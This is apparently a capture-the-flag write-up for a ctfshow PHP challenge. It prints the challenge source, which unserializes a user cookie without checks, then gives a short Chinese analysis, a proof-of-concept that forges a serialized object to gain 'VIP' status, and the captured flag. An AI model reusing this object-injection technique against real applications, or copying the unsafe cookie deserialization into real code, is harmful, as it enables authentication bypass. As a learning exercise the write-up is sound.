nginx/1.16.1PHP/7.3.11
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 19:29:02# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight_file(__FILE__);include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}}
分析:
即要满足
- 类成员
isVip为 true - 传入的
username和 类成员username相等 - 传入的
password和 类成员password相等 - 类的 username 和 password 不等(原来是相等的)
因为通过反序列化修改原有数据即可
poc
<?php$user = new ctfShowUser();$user->isVip = true;$user->username = '6';echo urlencode(serialize($user));?>

flag
ctfshow{b394e284-4c49-4a9f-bdae-6cf99f29011c}
